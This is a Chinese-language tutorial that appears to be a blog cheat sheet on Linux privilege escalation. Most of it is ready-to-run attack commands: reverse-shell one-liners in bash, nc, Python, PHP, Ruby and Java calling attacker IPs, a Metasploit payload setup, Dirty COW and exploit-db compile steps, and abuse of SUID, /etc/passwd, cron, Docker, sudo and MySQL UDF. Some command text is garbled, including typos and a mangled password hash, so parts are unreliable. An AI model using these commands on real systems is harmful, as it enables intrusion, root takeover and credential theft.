Linux 提权

常用命令uname -a # 查看内核/操作系统/cpu信息 hend -n 1 /etc/issue # 查看操作系统版本 cat /proc/version # 查看系统信息 hostname # 查看计算机名 env # 查看环境变量 ifconfig # 查看网卡.NETstat -lntp # 查看所有监听端口 netstat -antp # 查看所有已经建立的连接 netstat -s # 查看网络统计信息 iptables -L # 查看防火墙设置 route -n # 查看路由表 ps -ef # 查看所有进程 top # 实时显示进程状态 w # 查看活动用户 id # 查看指定用户信息 last # 查看用户登录日志 cut -d: -f1 /etc/passwd # 查看系统所有用户 cut -d: -f1 /etc/group # 查看系统所有组 crontab -l # 查看当前用户的计划任务 chkconfig –list # 列出所有系统服务 chkconfig –list | grep on # 列出所有启动的系统服务 echo $PATH # 查看系统路径 反弹shell

在本地使用nc 进行监听

nc -lvnp 8888

bash反弹shell

bash -i >& /dev/tcp/ip_address/port 0>&1 bash -c "bash -i >& /dev/tcp/192.168.0.189/6666 0>&1"

nc反弹shell

nc -e /bin/sh 192.168.2.130 4444 # 但某些版本的nc没有-e参数(非传统版),则可使用以下方式解决 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f

Python/ target=_blank class=infotextkey>Python反弹shell

import socket,subprocess,os s =socket.socket(socket.AF_INET,socket.SOCK_STREAM) s.connect(( "192.168.2.130" , 4444 )) os.dup2(s.fileno(), 0 ) os.dup2(s.fileno(), 1 ) os.dup2(s.fileno(), 2 ) p = subprocess.call([ "/bin/bash" , "-i" ])

php反弹shell

php -r '$sock=fsockopen("192.168.2.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'

ruby反弹shell

ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

JAVA反弹shell

r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do $line 2>&5 >&5; done"] as String[]) p.wAItFor()

xterm反弹shell

xterm -display 10.0.0.1:1 python调用本地shell实现交互式命令行

终端有些时候系统的命令终端不允许直接访问，可以使用python虚拟化一个终端来执行

# python2 python -c 'import pty;pty.spawn("/bin/bash")' # python3 python3 -c 'import pty;pty.spawn("/bin/bash")' linux反弹shell解决乱码

ctrl+z 放置后台任务 设置原始格式

stty -echo raw

fg再调用后台任务

LINUX 内核漏洞提权

通常我们在拥有一个webshell的时候，一般权限都是WEB容器权限，如在iis就是iis用户组权限，在Apache 就是apache权限，一般都是权限较低，均可执行一些普通命令，如查看当前用户，网络信息，ip信息等。如果我想进行内网渗透就必须将权限提权到最高，如系统权限 超级管理员权限。

内核溢出提权

利用堆栈溢出漏洞，根据当前系统 寻找对应的漏洞的exp 使用exp对其进行提权。

使用以下命令进行信息收集

uname -a cat /proc/version cat /etc/issue cat /etc/redhat-release lsb_release -a

根据linux的内核版本去找对应的exp

使用kali自带的工具进行搜索exp

searchsploit -t Ubuntu 14.04 searchsploit -s Ubuntu 14.04 searchsploit -s Linux Kernel 3.13.0

查看描述

searchsploit -x linux/local/37088.c

在目标机器上使用 wget下载源代码然后使用gcc进行编译

python3 -m http.service 80 wget http://192.168.150.145/exp.c gcc exp.c -o exp chmod 777 exp ./exp

脏牛提权 CVE-2016-5195

该漏洞是 Linux 内核的内存子系统在处理写时拷贝（Copy-on-Write）时存在条件竞争漏洞， 导致可以破坏私有只读内存映射。黑客可以在获取低权限的的本地用户后，利用此漏洞获取 其他只读内存映射的写权限，进一步获取 root 权限。

测试环境 ubuntu 14.04

exp下载地址： https://Github.com/Brucetg/DirtyCow-EXP

在靶场上新建普通用户 lian密码 123456

gcc -pthread dirtyc0w.c -o dirtyc0w chmod +x dirtycow ./dirtycow /etc/group "$(sed '/(sudo*)/ s/$/,lian/' /etc/group)"

已经加入到sodu组 可以切换root用户

Metasploit linux 提权简介

Metasploit是一款开源的安全漏洞检测工具，可以帮助安全和IT专业人士识别安全性问题，验证漏洞的缓解措施，并管理专家驱动的安全性进行评估，提供真正的安全风险情报。这些功能包括智能开发，代码审计，Web应用程序扫描，社会工程。团队合作，在Metasploit和综合报告提出了他们的发现。

使用metasploit linux提权

生成攻击载荷

msfvenom -p php/meterpreter_reverse_tcp LHOST=192.168.150.145 LPORT=12345 -f raw > /var/www/html/shell.php file_put_contents('m.php',file_get_contents('http://192.168.150.145/msf.php'));

msfconsole监听

use exploit/multi/handler set payload php/meterpreter_reverse_tcp set lhost 192.168.150.145 set lport 12345 exploit

访问 http://192.168.150.157/shell.php 就可以得到一个反弹shell

使用模块查询漏洞

run post/multi/recon/local_exploit_suggester

shell 使用终端
https://www.exploit-db.com/exploits/37292

wget https://www.exploit-db.com/exploits/37292 gcc 37292.c -o exp chmod +x exp ./exp

如果成功就会得到一个root

suid提权简介

SUID是赋予文件的一种权限，它会出现在文件拥有者权限的执行位上，具有这种权限的文件会在其执行时，使调用者暂时获得该文件拥有者的权限。也就是如果ROOT用户给某个可执行文件加了S权限，那么该执行程序运行的时候将拥有ROOT权限。

以下命令可以发现系统上运行的所有SUID可执行文件

find / -perm -u=s -type f 2>/dev/null find / -user root -perm -4000-print2>/dev/null find / -user root -perm -4000-exec ls -ldb {} ; 利用

我们使用find进行提权

find . -exec /bin/sh -p ; -quit

常见suid提权文件有

nmap、vim、find、more、less、bash、cp、Nano、mv、awk、man、weget

具体的可以参考网站：

https://gtfobins.github.io/

passwd文件替换提权简介

听名字就知道我们想要重新生成一个passwd文件然后去替换passwd文件，最后使用高权限用户进行提权。

利用条件：

passwd文件可读可写（基本上不可能）

利用

查看 /etc/passwd 是否可写

ls -al /etc/passwd

把 原来/etc/passwd 中的文件进行复制

通过openssl passwd生成一个新的用户hacker，密码为hack123

openssl passwd -1 -salt hacker hack123

1 1 1hacker$0vnQaCNuzDe3w9d6jHfXQ0

将其追加到之前的/etc/passwd文件中

hacker: 1 1 1hacker$0vnQaCNuzDe3w9d6jHfXQ0:0:0:/root:/bin/bash

我们把文件放到远程服务器上使用wget进行下载下来

然后替换passwd文件

cp /tmp/passwd /etc/passwd

我们已经替换成功了 使用su hacker 切换用户

ssh密钥提权利用方法

尝试是否能够查看用户目录下的 id_rsad 文件

查看拥有 /bin/bash 的用户

cat /etc/passwd | grep bash

cd 到/home/web1/.ssh 下看看有没有远程登录文件

file

我们把 id_rsa 文件复制到本地赋权后使用ssh进行登录

chmod 600 id_rsa ssh -i id_rsa web1@192.168.150.156

环境劫持提权

环境劫持需要的两个条件

• 存在带有suid的文件
• suid文件存在系统命令

寻找suid文件

find / -perm -u=s -type f 2>/dev/null

分析文件 发现是一个查询进行的命令 所以里面应该是用ps命令

这个二进制文件运行许的时候一定是调用了ps命令，在/tmp命令下 创建ps文件 里面使用 /bin/bash执
行命令

把tmp的路径添加到当前环境路径，再访问 /script目录 执行shell文件，允许的时候首先会采用/tmp目
录的ps文件作为命令

所以可以劫持root权限进行命令执行

chmod 777 ps echo $PATH export PATH=/tmp:$PATH cd /script ./shell

john破解shadow root密文登录提权利用条件

• /etc/shadow 文件可读

cat /etc/shadow 打印内容复制到一个文件中

使用john进行破解

john会自动检测密文类型 --wordlist 密码字段文件

john --wordlist="/usr/share/wordlists/rockyou.txt" passwd.txt

这个工具有的时候能够破解出来，有的时候不行。

我们可以利用破解出来的密码进行登录，以获取一个更高的权限。

Ubuntu计划任务反弹shell提权

当获取一个linux普通用户的时，查看计划任务
cat /etc/crontab

尝试修改 test.sh 文件为 反弹shell

bash -i >& /dev/tcp/192.168.150.145/7777 0>&1

在kali 上再开一个nc监听

nc -lvnp 7777

成功获取一个root权限

利用Docker 提权

docker是一个容器 可以在同一台机子虚拟多台服务。
输入命令id 和group 查询当前用户信息和组信息 发现存在docker组

输入命令下载使用容器把容器的目录挂载到宿主的根目录

docker run -v /:/mnt -it alpine

访问宿主的/etc/shadow
cat /mnt/etc/shadow

sudo提权简介

sudo 是一种权限管理机制，管理员可以授权于一些普通用户去执行一些 root 执行的操作，而不需要知道 root 的密码。
首先通过信息收集，查看是否存在sudo配置不当的可能。如果存在，寻找低权限sudo用户的密码，进而提权。

sudo -l # 列出目前用户可执行与无法执行的指令。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-bKtdJRsM-1658060018474)(http://www.lianqing.xyz/wp-content/uploads/2022/07/image-1658059738525.png)]

可以看到可以使用root特权下的cat命令，所以可以读取任何文件

原理

通常运维会将一些需要 sudo的命令 集成到某个用户或者某个组，然后在/etc/sudoers文件内进行设置
首先设置 chmod +w cat /etc/sudoers 使用vi对其编辑 保存即可

# User privilege specification root ALL=(ALL:ALL) ALL moonsec ALL=(root) NOPASSWD:/bin/cat # Members of the admin group may gain root privileges %admin ALL=(ALL) ALL # Allow members of group sudo to execute any command %sudo ALL=(ALL:ALL) ALL # See sudoers(5) for more information on "#include" directives:

NOPASSWD 不需要密码 使用cat命令 并且具有特权权限。

linux MySQL udf提权

如果在linux中 存在mysql ，可以试用mysql提权 但是几率不会太大

查看是否存在plugin目录

show variables like '%plugin%';

在kali在中使用以下命令进行上传udf.so文件

cd /usr/share/sqlmap/extra/cloak/ sudo python cloak.py -d -i /usr/share/sqlmap/data/udf/mysql/linux/64/lib_mysqludf_sys.so_ lib_mysqludf_sys.so 进行解码 wget http://192.168.0.109/lib_mysqludf_sys.so

登录mysql创建函数
use mysql

创建函数

create function sys_eval returns string soname "udf.so"; select sys_eval('id');

提权失败的原因

• plugin 不存在 或者 没权限写入文件
• udf so文件 版本不对
• 设置权限

GitHub下载地址：https://github.com/rebootuser/LinEnum

下载执行

wget -O - http://192.168.0.109/LinEnum.sh | bash

linuxprivchecker

python2 版本：https://github.com/sleventyeleven/linuxprivchecker

python3 版本：https://github.com/swarley7/linuxprivchecker

python3 linuxprivchecker.py

linux-exploit-suggester2

GitHub下载地址：https://github.com/jondonas/linux-exploit-suggester-2

自动检测

./linux-exploit-suggester-2.pl

指定版本

./linux-exploit-suggester-2.pl -k 3.0.0